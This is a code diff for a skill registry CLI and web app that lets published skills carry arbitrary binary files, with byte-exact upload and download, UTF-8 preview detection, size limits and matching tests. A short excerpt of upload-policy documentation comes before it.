- Script files are still scanned after upload; PowerShell `.ps1`, `.psm1`, and `.psd1` files are accepted as text.
- Content types starting with `text/` are treated as text; plus a small allowlist (JSON/YAML/TOML/JS/TS/Markdown/SVG).
- Bounded files that contain valid UTF-8 can be previewed as escaped plain text and are included
in bounded text analysis.
- Other files keep their exact bytes and are available to download.
- Security scanners receive the complete stored artifact; text detection is a rendering and
analysis concern, not an upload allowlist.
Limits (server-side):
- Total bundle size: 50MB.
- Embedding text includes `SKILL.md` + up to ~40 non-`.md` files (best-effort cap).
- Embedding text includes `SKILL.md` + up to ~40 bounded UTF-8 files (best-effort cap).
## Slugs
e2e/local-auth/helpers.ts
+7 -1
View File
@@ -1,5 +1,5 @@
import { mkdir, writeFile } from "node:fs/promises";
import { join } from "node:path";
import { dirname, join } from "node:path";
import { expect, type Page, type TestInfo } from "@playwright/test";
import convexBrowser from "convex/browser";
import { api } from "../../convex/_generated/api";
@@ -550,6 +550,7 @@ export async function publishSkillVersion(
versionExists?: () => Promise<boolean>;
skillMarkdown?: string;
completeChecks?: boolean;
files?: Array<{ path: string; contents: string | Uint8Array }>;
},
) {
const skillDir = testInfo.outputPath(`${args.slug}-${args.version}`);
@@ -564,6 +565,11 @@ export async function publishSkillVersion(
}),
"utf8",
);
for (const file of args.files ?? []) {
const filePath = join(skillDir, file.path);
await mkdir(dirname(filePath), { recursive: true });
await writeFile(filePath, file.contents);
}
await waitForPublishSkillForm(page);
const publishButton = page.getByRole("button", { name: "Publish skill" });
e2e/local-auth/publish-skill-lifecycle.pw.test.ts
+48
View File
@@ -608,9 +608,57 @@ test("skill publishers can create a skill and publish a new version", async ({
version: "1.0.1",
versionLabel: "second release",
changelog: "Second release published through the owner new-version workflow.",
files: [
{
path: "main.tf",
contents: 'resource "null_resource" "demo" {}\n',
},
{
path: "terraform.tfvars",
contents: 'region = "us-east-1"\n',
},
{
path: "assets/payload.bin",
contents: Uint8Array.from([0, 1, 2, 255]),
},
],
});
await expectCurrentVersion(page, "1.0.1");
await page.getByRole("tab", { name: "Files" }).click();
await expect(page.getByRole("button", { name: /main\.tf/i })).toBeVisible();
await expect(page.getByRole("button", { name: /terraform\.tfvars/i })).toBeVisible();
await expect(page.getByRole("button", { name: /assets\/payload\.bin/i })).toBeVisible();
await page.getByRole("button", { name: /main\.tf/i }).click();
await expect(page.locator("pre.file-viewer-code")).toContainText(
'resource "null_resource" "demo" {}',
);
await page.getByRole("button", { name: "Back to file list" }).click();
await page.getByRole("button", { name: /assets\/payload\.bin/i }).click();
await expect(
page.getByText("This file is available to download but cannot be previewed as text."),
).toBeVisible();
const downloadLink = page.getByRole("link", { name: "Download payload.bin" });
const downloadHref = await downloadLink.getAttribute("href");
expect(downloadHref).toContain(
`/api/v1/skills/${slug}/file?path=assets%2Fpayload.bin&ownerHandle=${ownerHandle}`,
);
const rawResponse = await page.request.get(
`${convexSiteUrl()}/api/v1/skills/${slug}/file?path=assets%2Fpayload.bin&ownerHandle=${ownerHandle}`,
);
expect(rawResponse.status()).toBe(200);
expect(new Uint8Array(await rawResponse.body())).toEqual(Uint8Array.from([0, 1, 2, 255]));
expect(rawResponse.headers()["content-disposition"]).toContain("attachment");
expect(rawResponse.headers()["x-content-type-options"]).toBe("nosniff");
await page.screenshot({
path: testInfo.outputPath("mixed-skill-files.png"),
fullPage: true,
});
await page.getByRole("button", { name: "Back to file list" }).click();
await page.getByRole("tab", { name: "Versions" }).click();
await expect(page.getByRole("heading", { name: "Versions" })).toBeVisible();
await expect(page.getByText(/^v1\.0\.1\b/).first()).toBeVisible();
package.json
+3
View File
@@ -175,10 +175,13 @@
},
"overrides": {
"ast-v8-to-istanbul": "1.0.4",
"brace-expansion": "5.0.7",
"dompurify": "3.4.11",
"esbuild": "0.28.1",
"js-yaml": "4.3.0",
"next": "16.2.6",
"postcss": "8.5.12",
"shell-quote": "1.10.0",
"undici": "7.28.0",
"ws": "8.21.0"
}
packages/clawhub/src/cli.ts
+2 -2
View File
@@ -369,7 +369,7 @@ registerCommand(program, ["inspect"])
.option("--versions", "List version history (first page)")
.option("--limit <n>", "Max versions to list (1-200)", (value) => Number.parseInt(value, 10))
.option("--files", "List files for the selected version")
.option("--file <path>", "Fetch raw file content (text <= 200KB)")
.option("--file <path>", "Fetch raw file bytes (<= 10MB)")
.option("--json", "Output JSON")
.action(async (slug, options) => {
const opts = await resolveGlobalOpts();
@@ -575,7 +575,7 @@ registerCommand(packageCmd, ["package", "inspect"])
.option("--versions", "List version history (first page)")
.option("--limit <n>", "Max versions to list (1-100)", (value) => Number.parseInt(value, 10))
.option("--files", "List files for the selected version")
.option("--file <path>", "Fetch raw file content (text only)")
.option("--file <path>", "Fetch a text preview (<= 200KB)")
.option("--json", "Output JSON")
.action(async (name, options) => {
const opts = await resolveGlobalOpts();
packages/clawhub/src/cli/commands/inspect.test.ts
+40 -2
View File
@@ -110,16 +110,54 @@ describe("cmdInspect", () => {
skill: { slug: "demo", displayName: "Demo" },
version: { version: "2.0.0", createdAt: 3, changelog: "init", files: [] },
});
httpMocks.fetchText.mockResolvedValue("content");
const fileBytes = new TextEncoder().encode("content");
httpMocks.fetchBinary.mockResolvedValue(fileBytes);
await cmdInspect(makeGlobalOpts(), "demo", { file: "SKILL.md", tag: "latest" });
const fetchArgs = httpMocks.fetchText.mock.calls[0]?.[1];
const fetchArgs = httpMocks.fetchBinary.mock.calls[0]?.[1];
const url = new URL(String(fetchArgs?.url));
expect(url.pathname).toBe("/api/v1/skills/demo/file");
expect(url.searchParams.get("path")).toBe("SKILL.md");
expect(url.searchParams.get("tag")).toBe("latest");
expect(url.searchParams.get("version")).toBeNull();
expect(mockWrite).toHaveBeenCalledTimes(1);
expect(mockWrite).toHaveBeenCalledWith(fileBytes);
});
it("represents opaque file bytes losslessly in JSON", async () => {
const opaqueBytes = Uint8Array.from([0, 1, 2, 255]);
httpMocks.apiRequest
.mockResolvedValueOnce({
skill: {
slug: "demo",
displayName: "Demo",
summary: null,
tags: { latest: "2.0.0" },
stats: {},
createdAt: 1,
updatedAt: 2,
},
latestVersion: { version: "2.0.0", createdAt: 3, changelog: "init", license: "MIT-0" },
owner: null,
})
.mockResolvedValueOnce({
skill: { slug: "demo", displayName: "Demo" },
version: { version: "2.0.0", createdAt: 3, changelog: "init", files: [] },
});
httpMocks.fetchBinary.mockResolvedValue(opaqueBytes);
await cmdInspect(makeGlobalOpts(), "demo", { file: "payload.bin", json: true });
const output = JSON.parse(String(mockLog.mock.calls.at(-1)?.[0])) as {
file: { content: string | null; contentBase64: string };
};
expect(output.file).toEqual({
path: "payload.bin",
content: null,
contentBase64: "AAEC/w==",
});
expect(mockWrite).not.toHaveBeenCalled();
});
it("prints security summary when version security metadata exists", async () => {
packages/clawhub/src/cli/commands/inspect.ts
+14 -7
View File
@@ -1,4 +1,4 @@
import { apiRequest, fetchText, registryUrl } from "../../http.js";
import { apiRequest, fetchBinary, fetchText, registryUrl } from "../../http.js";
import {
ApiRoutes,
PLATFORM_SKILL_LICENSE,
@@ -8,6 +8,7 @@ import {
ApiV1SkillVerifyResponseSchema,
ApiV1SkillVersionListResponseSchema,
ApiV1SkillVersionResponseSchema,
decodeUtf8Text,
} from "../../schema/index.js";
import { getOptionalAuthToken } from "../authToken.js";
import { getRegistry } from "../registry.js";
@@ -162,7 +163,7 @@ export async function cmdInspect(opts: GlobalOpts, slug: string, options: Inspec
);
}
let fileContent: string | null = null;
let fileBytes: Uint8Array | null = null;
if (options.file) {
const url = registryUrl(`${ApiRoutes.skills}/${encodeURIComponent(trimmed)}/file`, registry);
if (requested.ownerHandle) url.searchParams.set("ownerHandle", requested.ownerHandle);
@@ -175,7 +176,7 @@ export async function cmdInspect(opts: GlobalOpts, slug: string, options: Inspec
url.searchParams.set("version", latestVersion);
}
spinner.text = `Fetching ${options.file}`;
fileContent = await fetchText(registry, { url: url.toString(), token });
fileBytes = await fetchBinary(registry, { url: url.toString(), token });
}
spinner.stop();
@@ -187,7 +188,14 @@ export async function cmdInspect(opts: GlobalOpts, slug: string, options: Inspec
moderation: moderationDiagnostics?.moderation ?? skillResult.moderation ?? null,
version: versionResult?.version ?? null,
versions: versionsList?.items ?? null,
file: options.file ? { path: options.file, content: fileContent } : null,
file:
options.file && fileBytes
? {
path: options.file,
content: decodeUtf8Text(fileBytes),
contentBase64: Buffer.from(fileBytes).toString("base64"),
}
: null,
};
if (options.json) {
@@ -238,10 +246,9 @@ export async function cmdInspect(opts: GlobalOpts, slug: string, options: Inspec
}
}
if (options.file && fileContent !== null) {
if (options.file && fileBytes !== null) {
if (shouldPrintMeta) console.log(`\n${options.file}:\n`);
process.stdout.write(fileContent);
if (!fileContent.endsWith("\n")) process.stdout.write("\n");
process.stdout.write(fileBytes);
}
} catch (error) {
spinner.fail(formatError(error));
packages/clawhub/src/cli/commands/packages.test.ts
+1
View File
@@ -597,6 +597,7 @@ describe("package commands", () => {
expect(url.searchParams.get("path")).toBe("README.md");
expect(url.searchParams.get("tag")).toBe("latest");
expect(url.searchParams.get("version")).toBeNull();
expect(url.searchParams.get("preview")).toBe("1");
});
it("downloads a ClawPack artifact through the explicit artifact resolver", async () => {
packages/clawhub/src/cli/commands/packages.ts
+1
View File
@@ -438,6 +438,7 @@ export async function cmdInspectPackage(
registry,
);
url.searchParams.set("path", options.file);
url.searchParams.set("preview", "1");
if (options.version) {
url.searchParams.set("version", options.version);
} else if (options.tag) {
packages/clawhub/src/cli/commands/publish.test.ts
+23 -2
View File
@@ -316,15 +316,22 @@ describe("cmdPublish", () => {
}
});
it("publishes SKILL.md from disk (mocked HTTP)", async () => {
it("publishes Terraform and opaque files with exact bytes (mocked HTTP)", async () => {
const workdir = await makeTmpWorkdir();
try {
const folder = join(workdir, "my-skill");
const opaqueBytes = Uint8Array.from([0, 1, 2, 255]);
await mkdir(folder, { recursive: true });
await mkdir(join(folder, "assets"), { recursive: true });
const skillContent = "# Skill\n\nHello\n";
const notesContent = "notes\n";
const terraformContent = 'resource "null_resource" "demo" {}\n';
const variablesContent = 'region = "us-east-1"\n';
await writeFile(join(folder, "SKILL.md"), skillContent, "utf8");
await writeFile(join(folder, "notes.md"), notesContent, "utf8");
await writeFile(join(folder, "main.tf"), terraformContent, "utf8");
await writeFile(join(folder, "terraform.tfvars"), variablesContent, "utf8");
await writeFile(join(folder, "assets", "payload.bin"), opaqueBytes);
httpMocks.apiRequestForm.mockResolvedValueOnce({
ok: true,
@@ -363,7 +370,21 @@ describe("cmdPublish", () => {
expect(payload.categories).toEqual(["automation", "development"]);
expect(payload.topics).toEqual(["React", "GPU development"]);
const files = publishForm.getAll("files") as Array<Blob & { name?: string }>;
expect(files.map((file) => file.name ?? "").sort()).toEqual(["SKILL.md", "notes.md"]);
expect(files.map((file) => file.name ?? "").sort()).toEqual([
"SKILL.md",
"assets/payload.bin",
"main.tf",
"notes.md",
"terraform.tfvars",
]);
const byName = new Map(files.map((file) => [file.name ?? "", file]));
expect(await byName.get("main.tf")?.text()).toBe(terraformContent);
expect(await byName.get("terraform.tfvars")?.text()).toBe(variablesContent);
expect(
new Uint8Array(
(await byName.get("assets/payload.bin")?.arrayBuffer()) ?? new ArrayBuffer(0),
),
).toEqual(opaqueBytes);
} finally {
await rm(workdir, { recursive: true, force: true });
}
packages/clawhub/src/cli/commands/publish.ts
+16 -5
View File
@@ -8,7 +8,7 @@ import {
ApiV1SkillResolveResponseSchema,
ApiV1WhoamiResponseSchema,
} from "../../schema/index.js";
import { hashSkillFiles, listTextFiles } from "../../skills.js";
import { hashSkillFiles, listSkillFiles } from "../../skills.js";
import { getOptionalAuthToken, requireAuthToken } from "../authToken.js";
import { getRegistry } from "../registry.js";
import { sanitizeSlug, titleCase } from "../slug.js";
@@ -16,6 +16,9 @@ import type { GlobalOpts } from "../types.js";
import { createCrabLoader, fail, formatError } from "../ui.js";
import { normalizeGitHubRepo } from "./github.js";
const MAX_PUBLISH_FILE_BYTES = 10 * 1024 * 1024;
const MAX_PUBLISH_TOTAL_BYTES = 50 * 1024 * 1024;
type SkillPublishResult = {
ok: true;
status: "unchanged" | "would-publish" | "submitted" | "published" | "pending-publication";
@@ -189,7 +192,9 @@ export async function cmdPublish(
for (const file of filesOnDisk) {
index += 1;
if (spinner) spinner.text = `Uploading ${file.relPath} (${index}/${filesOnDisk.length})`;
const blob = new Blob([Buffer.from(file.bytes)], { type: file.contentType ?? "text/plain" });
const blob = new Blob([Buffer.from(file.bytes)], {
type: file.contentType ?? "application/octet-stream",
});
form.append("files", blob, file.relPath);
}
@@ -298,17 +303,23 @@ function writePublishJsonIfRequested(json: boolean | undefined, result: SkillPub
export async function prepareSkillFilesForPublish(folder: string) {
return stripGeneratedSkillCards(
await ensureRootManifestFile(folder, await listTextFiles(folder)),
await ensureRootManifestFile(
folder,
await listSkillFiles(folder, {
maxFileBytes: MAX_PUBLISH_FILE_BYTES,
maxTotalBytes: MAX_PUBLISH_TOTAL_BYTES,
}),
),
);
}
function stripGeneratedSkillCards(files: Awaited<ReturnType<typeof listTextFiles>>) {
function stripGeneratedSkillCards(files: Awaited<ReturnType<typeof listSkillFiles>>) {
return files.filter((file) => file.relPath.trim().toLowerCase() !== "skill-card.md");
}
async function ensureRootManifestFile(
folder: string,
files: Awaited<ReturnType<typeof listTextFiles>>,
files: Awaited<ReturnType<typeof listSkillFiles>>,
) {
if (
files.some((file) => {
packages/clawhub/src/cli/commands/skills.test.ts
+19 -19
View File
@@ -61,7 +61,7 @@ vi.mock("../ui.js", () => ({
const extractZipToDirMock = vi.spyOn(skillStore, "extractZipToDir");
const extractGitHubZipPathToDirMock = vi.spyOn(skillStore, "extractGitHubZipPathToDir");
const hashSkillFilesMock = vi.spyOn(skillStore, "hashSkillFiles");
const listTextFilesMock = vi.spyOn(skillStore, "listTextFiles");
const listTextFilesMock = vi.spyOn(skillStore, "listSkillFiles");
const readLockfileMock = vi.spyOn(skillStore, "readLockfile");
const readSkillOriginMock = vi.spyOn(skillStore, "readSkillOrigin");
const writeLockfileMock = vi.spyOn(skillStore, "writeLockfile");
@@ -91,7 +91,7 @@ const {
extractGitHubZipPathToDir,
extractZipToDir,
hashSkillFiles,
listTextFiles,
listSkillFiles,
readLockfile,
readSkillOrigin,
writeLockfile,
@@ -474,7 +474,7 @@ describe("cmdUpdate", () => {
vi.mocked(readSkillOrigin).mockResolvedValue(null);
vi.mocked(writeSkillOrigin).mockResolvedValue();
vi.mocked(extractZipToDir).mockResolvedValue();
vi.mocked(listTextFiles).mockResolvedValue([]);
vi.mocked(listSkillFiles).mockResolvedValue([]);
vi.mocked(hashSkillFiles).mockReturnValue({ fingerprint: "hash", files: [] });
vi.mocked(stat).mockRejectedValue(new Error("missing"));
vi.mocked(rm).mockResolvedValue();
@@ -522,7 +522,7 @@ describe("cmdUpdate", () => {
vi.mocked(writeLockfile).mockResolvedValue();
vi.mocked(writeSkillOrigin).mockResolvedValue();
vi.mocked(extractZipToDir).mockResolvedValue();
vi.mocked(listTextFiles).mockResolvedValue([]);
vi.mocked(listSkillFiles).mockResolvedValue([]);
await cmdUpdate(makeOpts(), undefined, { all: true }, false);
@@ -604,7 +604,7 @@ describe("cmdUpdate", () => {
vi.mocked(readSkillOrigin).mockResolvedValue(null);
vi.mocked(writeSkillOrigin).mockResolvedValue();
vi.mocked(extractZipToDir).mockResolvedValue();
vi.mocked(listTextFiles).mockResolvedValue([]);
vi.mocked(listSkillFiles).mockResolvedValue([]);
vi.mocked(hashSkillFiles).mockReturnValue({ fingerprint: "hash", files: [] });
vi.mocked(stat).mockRejectedValue(new Error("missing"));
vi.mocked(rm).mockResolvedValue();
@@ -640,7 +640,7 @@ describe("cmdUpdate", () => {
vi.mocked(readSkillOrigin).mockResolvedValue(null);
vi.mocked(writeSkillOrigin).mockResolvedValue();
vi.mocked(extractZipToDir).mockResolvedValue();
vi.mocked(listTextFiles).mockResolvedValue([]);
vi.mocked(listSkillFiles).mockResolvedValue([]);
vi.mocked(hashSkillFiles).mockReturnValue({ fingerprint: "hash", files: [] });
vi.mocked(stat).mockRejectedValue(new Error("missing"));
vi.mocked(rm).mockResolvedValue();
@@ -692,7 +692,7 @@ describe("cmdUpdate", () => {
vi.mocked(readSkillOrigin).mockResolvedValue(null);
vi.mocked(writeSkillOrigin).mockResolvedValue();
vi.mocked(extractZipToDir).mockResolvedValue();
vi.mocked(listTextFiles).mockResolvedValue([]);
vi.mocked(listSkillFiles).mockResolvedValue([]);
vi.mocked(stat).mockRejectedValue(new Error("missing"));
await cmdUpdate(makeOpts(), undefined, { all: true }, false);
@@ -777,7 +777,7 @@ describe("cmdUpdate", () => {
origin = nextOrigin;
});
vi.mocked(extractGitHubZipPathToDir).mockResolvedValue();
vi.mocked(listTextFiles).mockResolvedValue([]);
vi.mocked(listSkillFiles).mockResolvedValue([]);
vi.mocked(stat).mockResolvedValue({} as unknown as Awaited<ReturnType<typeof stat>>);
await cmdUpdate(makeOpts(), "demo", {}, false);
@@ -839,7 +839,7 @@ describe("cmdUpdate", () => {
installedVersion: "a".repeat(40),
installedAt: 123,
});
vi.mocked(listTextFiles).mockResolvedValue([
vi.mocked(listSkillFiles).mockResolvedValue([
{ relPath: "SKILL.md", bytes: new Uint8Array([1]) },
]);
vi.mocked(hashSkillFiles).mockReturnValue({ fingerprint: "local-fingerprint", files: [] });
@@ -880,7 +880,7 @@ describe("cmdUpdate", () => {
skills: { "aiq-deploy": { version: commit, installedAt: 123 } },
});
vi.mocked(readSkillOrigin).mockResolvedValue(null);
vi.mocked(listTextFiles).mockResolvedValueOnce([
vi.mocked(listSkillFiles).mockResolvedValueOnce([
{ relPath: "SKILL.md", bytes: new Uint8Array([1]) },
]);
vi.mocked(hashSkillFiles).mockReturnValue({ fingerprint: "clean-fingerprint", files: [] });
@@ -935,7 +935,7 @@ describe("cmdUpdate", () => {
installedAt: 123,
fingerprint: "clean-fingerprint",
});
vi.mocked(listTextFiles)
vi.mocked(listSkillFiles)
.mockResolvedValueOnce([{ relPath: "SKILL.md", bytes: new Uint8Array([9]) }])
.mockResolvedValueOnce([{ relPath: "SKILL.md", bytes: new Uint8Array([1]) }]);
vi.mocked(hashSkillFiles)
@@ -1004,7 +1004,7 @@ describe("cmdUpdate", () => {
vi.mocked(writeLockfile).mockResolvedValue();
vi.mocked(writeSkillOrigin).mockResolvedValue();
vi.mocked(extractZipToDir).mockResolvedValue();
vi.mocked(listTextFiles).mockResolvedValue([
vi.mocked(listSkillFiles).mockResolvedValue([
{ relPath: "SKILL.md", bytes: new Uint8Array([1]) },
]);
vi.mocked(hashSkillFiles).mockReturnValue({ fingerprint: "hash", files: [] });
@@ -1045,7 +1045,7 @@ describe("cmdUpdate", () => {
skills: { demo: { version: "1.0.0", installedAt: 123 } },
});
vi.mocked(readSkillOrigin).mockResolvedValue(null);
vi.mocked(listTextFiles).mockResolvedValue([
vi.mocked(listSkillFiles).mockResolvedValue([
{ relPath: "SKILL.md", bytes: new Uint8Array([1]) },
{ relPath: "skill-card.md", bytes: new Uint8Array([2]) },
]);
@@ -1087,7 +1087,7 @@ describe("cmdUpdate", () => {
installedAt: 123,
fingerprint: "hash",
});
vi.mocked(listTextFiles).mockResolvedValue([
vi.mocked(listSkillFiles).mockResolvedValue([
{ relPath: "SKILL.md", bytes: new Uint8Array([1]) },
]);
vi.mocked(hashSkillFiles).mockReturnValue({ fingerprint: "hash", files: [] });
@@ -1139,7 +1139,7 @@ describe("cmdUpdate", () => {
vi.mocked(writeLockfile).mockResolvedValue();
vi.mocked(writeSkillOrigin).mockResolvedValue();
vi.mocked(extractZipToDir).mockResolvedValue();
vi.mocked(listTextFiles).mockResolvedValue([
vi.mocked(listSkillFiles).mockResolvedValue([
{ relPath: "SKILL.md", bytes: new Uint8Array([1]) },
]);
vi.mocked(hashSkillFiles).mockReturnValue({ fingerprint: "hash", files: [] });
@@ -1167,7 +1167,7 @@ describe("cmdUpdate", () => {
version: 1,
skills: { demo: { version: "1.0.0", installedAt: 123 } },
});
vi.mocked(listTextFiles).mockResolvedValue([]);
vi.mocked(listSkillFiles).mockResolvedValue([]);
await expect(cmdUpdate(makeOpts(), "demo", {}, false)).rejects.toThrow("network down");
@@ -1199,7 +1199,7 @@ describe("cmdUpdate", () => {
},
});
vi.mocked(extractZipToDir).mockResolvedValue();
vi.mocked(listTextFiles).mockResolvedValue([]);
vi.mocked(listSkillFiles).mockResolvedValue([]);
await expect(cmdUpdate(makeOpts(), undefined, { all: true }, false)).rejects.toThrow(
"registry down",
@@ -1420,7 +1420,7 @@ describe("cmdInstall", () => {
vi.mocked(writeLockfile).mockResolvedValue();
vi.mocked(writeSkillOrigin).mockResolvedValue();
vi.mocked(extractGitHubZipPathToDir).mockResolvedValue();
vi.mocked(listTextFiles).mockResolvedValue([
vi.mocked(listSkillFiles).mockResolvedValue([
{ relPath: "SKILL.md", bytes: new Uint8Array([1]) },
]);
vi.mocked(hashSkillFiles).mockReturnValue({ fingerprint: "hash", files: [] });
@@ -1960,7 +1960,7 @@ describe("cmdInstall", () => {
vi.mocked(writeLockfile).mockResolvedValue();
vi.mocked(writeSkillOrigin).mockResolvedValue();
vi.mocked(extractZipToDir).mockResolvedValue();
vi.mocked(listTextFiles).mockResolvedValue([
vi.mocked(listSkillFiles).mockResolvedValue([
{ relPath: "SKILL.md", bytes: new Uint8Array([1]) },
]);
vi.mocked(hashSkillFiles).mockReturnValue({ fingerprint: "hash", files: [] });
packages/clawhub/src/cli/commands/skills.ts
+5 -5
View File
@@ -23,7 +23,7 @@ import {
extractZipToDir,
hashSkillFiles,
listManualSkills,
listTextFiles,
listSkillFiles,
readLockfile,
readSkillOrigin,
writeLockfile,
@@ -402,7 +402,7 @@ export async function cmdInstall(
await extractZipToDir(zip, installTarget);
});
}
const installedFiles = await listTextFiles(target);
const installedFiles = await listSkillFiles(target);
const installedFingerprint =
installedFiles.length > 0 ? hashSkillFiles(installedFiles).fingerprint : undefined;
@@ -555,7 +555,7 @@ export async function cmdUpdate(
let localFingerprint: string | null = null;
if (exists) {
const filesOnDisk = await listTextFiles(target);
const filesOnDisk = await listSkillFiles(target);
if (filesOnDisk.length > 0) {
const hashed = hashSkillFiles(filesOnDisk);
localFingerprint = hashed.fingerprint;
@@ -633,7 +633,7 @@ export async function cmdUpdate(
await installSkillWithOptionalStaging(target, exists, (installTarget) =>
installGitHubSkill(registry, githubResolution, installTarget),
);
const installedFiles = await listTextFiles(target);
const installedFiles = await listSkillFiles(target);
const installedFingerprint =
installedFiles.length > 0 ? hashSkillFiles(installedFiles).fingerprint : undefined;
@@ -765,7 +765,7 @@ export async function cmdUpdate(
});
await extractZipToDir(zip, installTarget);
});
const installedFiles = await listTextFiles(target);
const installedFiles = await listSkillFiles(target);
const installedFingerprint =
installedFiles.length > 0 ? hashSkillFiles(installedFiles).fingerprint : undefined;
packages/clawhub/src/cli/commands/sync.test.ts
+1 -1
View File
@@ -67,7 +67,7 @@ const mockHashSkillFiles = vi.fn((files: Array<{ relPath: string; bytes: Uint8Ar
}));
const mockReadSkillOrigin = vi.fn(async (_folder?: string): Promise<SkillOrigin | null> => null);
vi.mock("../../skills.js", () => ({
listTextFiles: (folder: string) => mockListTextFiles(folder),
listSkillFiles: (folder: string) => mockListTextFiles(folder),
hashSkillFiles: (files: Array<{ relPath: string; bytes: Uint8Array }>) =>
mockHashSkillFiles(files),
readSkillOrigin: (folder: string) => mockReadSkillOrigin(folder),
packages/clawhub/src/schema/textFiles.test.ts
+10 -22
View File
@@ -2,30 +2,18 @@
import { describe, expect, it } from "vitest";
import * as schema from ".";
import { isTextContentType, TEXT_FILE_EXTENSION_SET } from "./textFiles";
import { decodeUtf8Text, normalizeContentType } from "./textFiles";
describe("packages/clawhub schema textFiles", () => {
it("exports text-file extension set", () => {
expect(TEXT_FILE_EXTENSION_SET.has("md")).toBe(true);
expect(TEXT_FILE_EXTENSION_SET.has("r")).toBe(true);
expect(TEXT_FILE_EXTENSION_SET.has("ps1")).toBe(true);
expect(TEXT_FILE_EXTENSION_SET.has("psm1")).toBe(true);
expect(TEXT_FILE_EXTENSION_SET.has("psd1")).toBe(true);
expect(TEXT_FILE_EXTENSION_SET.has("tsv")).toBe(true);
expect(TEXT_FILE_EXTENSION_SET.has("conf")).toBe(true);
expect(TEXT_FILE_EXTENSION_SET.has("properties")).toBe(true);
expect(TEXT_FILE_EXTENSION_SET.has("dat")).toBe(true);
expect(TEXT_FILE_EXTENSION_SET.has("exe")).toBe(false);
});
it("detects text content types with parameters", () => {
expect(isTextContentType("text/plain; charset=utf-8")).toBe(true);
expect(isTextContentType("application/json; charset=utf-8")).toBe(true);
expect(isTextContentType("application/octet-stream")).toBe(false);
});
it("re-exports helpers from index", () => {
expect(typeof schema.isTextContentType).toBe("function");
expect(schema.isTextContentType("application/markdown")).toBe(true);
expect(schema.normalizeContentType("text/markdown; charset=utf-8")).toBe("text/markdown");
});
it("detects previewable UTF-8 bytes without an extension allowlist", () => {
expect(decodeUtf8Text(new TextEncoder().encode("main.tf"))).toBe("main.tf");
expect(decodeUtf8Text(new TextEncoder().encode("hé😀"))).toBe("hé😀");
expect(decodeUtf8Text(Uint8Array.from([0]))).toBe("\0");
expect(decodeUtf8Text(Uint8Array.from([0, 1, 2, 255]))).toBeNull();
expect(normalizeContentType("")).toBeUndefined();
});
});
packages/clawhub/src/schema/textFiles.ts
+81 -69
View File
@@ -1,74 +1,86 @@
const RAW_TEXT_FILE_EXTENSIONS = [
"md",
"mdx",
"txt",
"json",
"json5",
"yaml",
"yml",
"toml",
"js",
"cjs",
"mjs",
"ts",
"tsx",
"jsx",
"py",
"sh",
"ps1",
"psm1",
"psd1",
"r",
"rb",
"go",
"rs",
"swift",
"kt",
"java",
"cs",
"cpp",
"c",
"h",
"hpp",
"sql",
"csv",
"tsv",
"ini",
"cfg",
"conf",
"env",
"properties",
"dat",
"xml",
"html",
"css",
"scss",
"sass",
"svg",
] as const;
export function normalizeContentType(contentType?: string | null) {
const normalized = contentType?.split(";", 1)[0]?.trim().toLowerCase() ?? "";
return normalized || undefined;
}
export const TEXT_FILE_EXTENSIONS = RAW_TEXT_FILE_EXTENSIONS;
export const TEXT_FILE_EXTENSION_SET = new Set<string>(TEXT_FILE_EXTENSIONS);
export function decodeUtf8Text(bytes: Uint8Array) {
const chunks: string[] = [];
const codeUnits: number[] = [];
const appendCodePoint = (codePoint: number) => {
if (codePoint <= 0xffff) {
codeUnits.push(codePoint);
} else {
const offset = codePoint - 0x10000;
codeUnits.push(0xd800 + (offset >> 10), 0xdc00 + (offset & 0x3ff));
}
if (codeUnits.length >= 8192) {
chunks.push(String.fromCharCode(...codeUnits));
codeUnits.length = 0;
}
};
const RAW_TEXT_CONTENT_TYPES = [
"application/json",
"application/xml",
"application/yaml",
"application/x-yaml",
"application/toml",
"application/javascript",
"application/typescript",
"application/markdown",
"image/svg+xml",
] as const;
for (let index = 0; index < bytes.length; index += 1) {
const first = bytes[index] ?? 0;
if (first <= 0x7f) {
appendCodePoint(first);
continue;
}
export const TEXT_CONTENT_TYPES = RAW_TEXT_CONTENT_TYPES;
export const TEXT_CONTENT_TYPE_SET = new Set<string>(TEXT_CONTENT_TYPES);
const second = bytes[index + 1];
if (first >= 0xc2 && first <= 0xdf) {
if (second === undefined || second < 0x80 || second > 0xbf) return null;
appendCodePoint(((first & 0x1f) << 6) | (second & 0x3f));
index += 1;
continue;
}
export function isTextContentType(contentType: string) {
if (!contentType) return false;
const normalized = contentType.split(";", 1)[0]?.trim().toLowerCase() ?? "";
if (!normalized) return false;
if (normalized.startsWith("text/")) return true;
return TEXT_CONTENT_TYPE_SET.has(normalized);
const third = bytes[index + 2];
if (first >= 0xe0 && first <= 0xef) {
const secondMin = first === 0xe0 ? 0xa0 : 0x80;
const secondMax = first === 0xed ? 0x9f : 0xbf;
if (
second === undefined ||
second < secondMin ||
second > secondMax ||
third === undefined ||
third < 0x80 ||
third > 0xbf
) {
return null;
}
appendCodePoint(((first & 0x0f) << 12) | ((second & 0x3f) << 6) | (third & 0x3f));
index += 2;
continue;
}
const fourth = bytes[index + 3];
if (first >= 0xf0 && first <= 0xf4) {
const secondMin = first === 0xf0 ? 0x90 : 0x80;
const secondMax = first === 0xf4 ? 0x8f : 0xbf;
if (
second === undefined ||
second < secondMin ||
second > secondMax ||
third === undefined ||
third < 0x80 ||
third > 0xbf ||
fourth === undefined ||
fourth < 0x80 ||
fourth > 0xbf
) {
return null;
}
appendCodePoint(
((first & 0x07) << 18) | ((second & 0x3f) << 12) | ((third & 0x3f) << 6) | (fourth & 0x3f),
);
index += 3;
continue;
}
return null;
}
if (codeUnits.length > 0) chunks.push(String.fromCharCode(...codeUnits));
const text = chunks.join("");
return text.charCodeAt(0) === 0xfeff ? text.slice(1) : text;
}
packages/clawhub/src/skills.test.ts
+50 -14
View File
@@ -12,6 +12,7 @@ import {
hashSkillFiles,
hashSkillZip,
listManualSkills,
listSkillFiles,
listTextFiles,
readLockfile,
readSkillOrigin,
@@ -117,7 +118,7 @@ describe("skills", () => {
await writeFile(join(workdir, ".clawhub", "origin.json"), "{}", "utf8");
await mkdir(join(workdir, "node_modules"), { recursive: true });
await writeFile(join(workdir, "node_modules", "a.txt"), "no", "utf8");
const files = await listTextFiles(workdir);
const files = await listSkillFiles(workdir);
expect(files.map((file) => file.relPath)).toEqual(["SKILL.md"]);
});
@@ -130,7 +131,7 @@ describe("skills", () => {
await writeFile(join(workdir, "private.md"), "no", "utf8");
await writeFile(join(workdir, "public.json"), "{}", "utf8");
const files = await listTextFiles(workdir);
const files = await listSkillFiles(workdir);
const paths = files.map((file) => file.relPath).sort();
expect(paths).toEqual(["SKILL.md", "public.json"]);
